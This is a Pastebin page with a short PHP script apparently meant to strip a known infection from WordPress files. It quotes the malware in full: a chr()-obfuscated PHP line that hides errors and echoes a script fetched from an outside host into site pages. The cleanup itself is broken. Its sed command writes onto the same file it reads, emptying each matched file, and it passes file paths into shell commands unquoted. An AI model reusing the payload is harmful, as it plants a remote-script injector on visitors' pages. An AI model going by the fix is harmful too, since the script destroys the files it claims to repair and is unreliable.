Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $folder = "./somewordpress/";
- $output = [];
- $infection = escapeshellcmd("<?php error_reporting(0); ini_set(chr(100).chr(105).chr(115).chr(112).chr(108).chr(97).chr(121).chr(95).chr(101).chr(114).chr(114).chr(111).chr(114).chr(115), 0); echo @file_get_contents(chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(97).chr(108).chr(115).chr(117).chr(116).chr(114).chr(97).chr(110).chr(115).chr(46).chr(99).chr(111).chr(109).chr(47).chr(115).chr(116).chr(97).chr(116).chr(115).chr(46).chr(106).chr(115)); ?>");
- echo "<pre>";
- echo "** Starting analysis and fixing of $folder **\n";
- exec("grep -rl '@file_get_contents(chr(104)' $folder", $output);
- foreach ($output as $key => $filepath) {
- echo "$filepath\n";
- exec("sed 's/$infection//g' $filepath > $filepath");
- }
- echo ("</pre>");
Add Comment
Please, Sign In to add comment